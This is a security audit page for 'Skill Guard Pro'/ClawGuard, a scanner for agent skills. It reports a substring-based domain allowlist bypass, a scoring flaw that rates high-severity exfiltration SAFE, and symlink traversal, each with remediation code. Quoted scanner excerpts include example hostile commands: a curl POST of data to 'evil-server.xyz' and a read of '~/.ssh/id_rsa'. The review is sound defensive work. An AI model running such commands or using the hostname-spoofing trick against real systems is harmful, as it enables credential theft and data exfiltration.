Back to skill

Security audit

Skill Guard Pro

Security checks for vulnerabilities and agentic risk

Overview

ClawGuard is a disclosed skill scanner, but its own scanner logic has flaws that can falsely mark risky skills as safe and can read outside a selected scan directory through symlinks.

Install only with review. The skill does not show evidence of theft, persistence, or destructive behavior, but do not rely on its SAFE result as a security decision until the allowlist matching, scoring gates, and symlink containment issues are fixed. Run it on untrusted skill directories only in a contained environment and manually inspect any downloaded or scanned skill before installation.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
lib/patterns.py:222
Finding

Attacker-Controlled Domains Can Bypass the Safe-Domain Check

Content
View full analysis
bool: """Check if URL domain is in whitelist""" from urllib.parse import urlparse try: domain = urlparse(url).netloc return any(safe in domain for safe in SAFE_DOMAINS) except: return False ``` ### Technical Analysis The scanner determines whether a network endpoint is trusted by checking whether an allowlisted string appears anywhere in the parsed `netloc`. Substring matching does not establish that the endpoint is the allowlisted host. For example, the following attacker-controlled hostnames would be incorrectly classified as safe: - `api.openai.com.attacker.example` - `notapi.github.com` - `clawhub.com.evil.example` The use of `netloc` also includes optional user-information and port components. Host validation should instead use the normalized `urlparse(url).hostname` value and enforce exact hostname or deliberate subdomain-boundary matching. This flaw directly undermines the scanner's declared endpoint-safety feature. Although it does not itself send sensitive data, it can falsely assure users that an attacker-controlled exfiltration endpoint is known to be safe. ### Attack Path 1. An attacker publishes a skill containing a request to an attacker-controlled URL such as `https://api.openai.com.attacker.example/collect`. 2. A user scans the skill with ClawGuard. 3. `extract_urls()` extracts the malicious URL. 4. `is_safe_domain()` parses its network location. 5. The expression `"api.openai.com" in "api.openai.com.attacker.example"` evaluates to true. 6. The report labels the malicious endpoint as `known safe`. 7. The user may install the skill based on this misleading trust indication. 8. When invoked, the malicious skill can send any data available to it to the attacker's server. ### ...[truncated 538 chars]
Remediation
View remediation
bool: try: hostname = urlparse(url).hostname if not hostname: return False hostname = hostname.rstrip(".").lower() for safe_domain in SAFE_DOMAINS: safe_domain = safe_domain.rstrip(".").lower() if hostname == safe_domain: return True # Enable this only where subdomains are explicitly trusted. if hostname.endswith("." + safe_domain): return True return False except (TypeError, ValueError): return False ``` Additional hardening should include: 1. Decide separately for each allowlisted domain whether subdomains are trusted. 2. Convert internationalized domain names to a canonical IDNA representation before comparison. 3. Reject malformed URLs and URLs without a hostname. 4. Add regression tests for suffix spoofing, prefix spoofing, user-information, ports, trailing dots, mixed case, and internationalized hostnames. 5. Treat allowlist status only as contextual information, not as evidence that a request is harmless. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
lib/analyzer.py:226
Finding

High-Severity Network Exfiltration Can Be Classified as SAFE

Content
View full analysis
int: """Calculate risk score (0-100)""" if not self.findings: return 0 # Sum weighted scores total_weight = sum( f.weight * SEVERITY_WEIGHTS[f.severity] for f in self.findings ) # Cap at 100 return min(100, int(total_weight)) def _get_risk_level(self, score: int) -> str: """Get risk level from score""" if score <= 30: return "SAFE" elif score <= 60: return "CAUTION" else: return "DANGEROUS" ``` ### Technical Analysis A single finding for an external HTTP POST has the following score: ```text 25 × 1.0 (HIGH severity multiplier) = 25 ``` Because `_get_risk_level()` classifies every score at or below 30 as `SAFE`, a skill matching ClawGuard's explicit high-severity exfiltration signature can still receive a SAFE result and the recommendation that it “appears safe to install.” The scoring model therefore allows additive score thresholds to override the semantic severity of a confirmed finding. The issue is particularly significant because network exfiltration detection is one of the scanner's primary declared security functions. ### Attack Path 1. An attacker publishes a skill containing one external HTTP POST that matches `external_http_post`. ...[truncated 1080 chars]
Remediation
View remediation
str: critical_patterns = { "external_http_post", "credential_file_read", "shell_injection_risk", } if any( finding.pattern_name in critical_patterns for finding in self.findings ): return "DANGEROUS" if any(finding.severity == "HIGH" for finding in self.findings): return "CAUTION" if score <= 30: return "SAFE" if score <= 60: return "CAUTION" return "DANGEROUS" ``` The final policy should be calibrated against documented threat scenarios. At minimum: 1. A `HIGH` finding must never produce a SAFE result. 2. A high-confidence exfiltration or credential-theft finding should produce DANGEROUS regardless of the aggregate score. 3. Distinguish confidence from impact instead of encoding both in one number. 4. Deduplicate overlapping regex and AST findings before scoring. 5. Add tests proving that every individual HIGH pattern produces at least CAUTION. 6. Add a test proving that one `external_http_post` finding cannot result in SAFE. 7. Avoid presenting “appears safe to install” solely from a low aggregate score when significant findings remain. ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
lib/analyzer.py:80
Finding

Scanning an Untrusted Directory Can Follow File Symlinks Outside the Skill Root

Content
View full analysis
Remediation
View remediation
bool: try: if file_path.is_symlink(): return False root = self.skill_path.resolve(strict=True) resolved = file_path.resolve(strict=True) resolved.relative_to(root) return resolved.is_file() except (OSError, RuntimeError, ValueError): return False ``` Use that validation both when collecting files and immediately before reading them: ```python if not self._is_contained_regular_file(file_path): return content = file_path.read_text(encoding="utf-8", errors="ignore") ``` Further hardening should include: 1. Reject symlinks in downloaded archives or packages before analysis. 2. Perform containment checks against `skill_path.resolve(strict=True)`. 3. Revalidate immediately before opening to reduce time-of-check/time-of-use risk. 4. Where stronger guarantees are required, open files using descriptor-relative APIs and no-follow semantics such as `O_NOFOLLOW`. 5. Impose per-file and total scan-size limits to prevent resource exhaustion from special or unexpectedly large files. 6. Add tests for file symlinks targeting files inside and outside the scan root. 7. Ensure reports do not include unnecessary source content from files that fail containment validation. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (9)

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 96)May include surrounding context.

md
Code: const key = process.env.OPENAI_API_KEY

4. [MED]  scripts/run.sh:8 — Reads credential files
   Code: cat ~/.ssh/id_rsa

5. [LOW]  .hidden-config — Hidden file detected: .hidden-config

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The declared description says the skill is a security scanner that analyzes skills before installation. This code chunk does not perform any scanning or analysis; instead, it only downloads a skill using the clawhub CLI and manages temporary storage/cleanup. While downloading could support a scanner, the actual behavior shown here is materially different from the declared purpose because the code implements acquisition of skills rather than security analysis itself. No malicious behavior is evident, but the description does not accurately represent this code chunk's functionality.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The declared description says this skill is a security scanner for ClawHub skills, intended to analyze skills before installation. The supplied code does not implement scanning, analysis, detection logic, or any ClawHub-specific behavior. Instead, it defines two generic helper functions: one reads JSON from a file path and one formats data as indented JSON. This is a materially different primary purpose. Additionally, the code accesses local files, which is an undeclared capability relative to the empty permissions list. Therefore, the description does not accurately represent the actual behavior.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 86)May include surrounding context.

md
⚠️  Issues Found (5):

1. [HIGH] scripts/run.sh:14 — curl command to external URL
   Code: curl -X POST https://evil-server.xyz/collect -d "$DATA"

2. [HIGH] lib/helper.js:23 — Dynamic code execution (eval) - code injection risk

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
85% confidence
Finding

The skill advertises and documents capabilities that involve reading local paths, invoking uv, and optionally downloading skills via clawhub, but it does not declare any explicit tool scope such as permissions or allowed-tools. This creates a trust and review gap: installers cannot easily see that file access, shell execution, and network-related behavior are expected, which increases the risk of over-privileged or surprising execution.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 101)May include surrounding context.

md
1. **Always scan before installing** untrusted skills
2. **Review CAUTION-level findings** manually
3. **Check network endpoints** for unknown domains
4. **Never install DANGEROUS skills** without verification
5. **Report suspicious skills** to ClawHub moderators

## License

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · lib/downloader.py (reported line 34)May include surrounding context.

python
try:
            # Download using clawhub CLI
            result = subprocess.run(
                ["clawhub", "download", skill_name, "--no-install"],
                cwd=temp_dir,
                capture_output=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · lib/downloader.py (reported line 73)May include surrounding context.

python
def _has_clawhub_cli() -> bool:
        """Check if clawhub CLI is installed"""
        try:
            result = subprocess.run(
                ["clawhub", "--version"],
                capture_output=True,
                timeout=5,

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The whitelist check uses substring matching (any(safe in domain for safe in SAFE_DOMAINS)), so attacker-controlled hosts like api.github.com.evil.com or evilapi.openai.com can be incorrectly treated as trusted. In a security scanner, this is especially risky because it can suppress or downgrade warnings for malicious network destinations, undermining the tool's core trust decision.

Content

No source excerpt is available for this finding.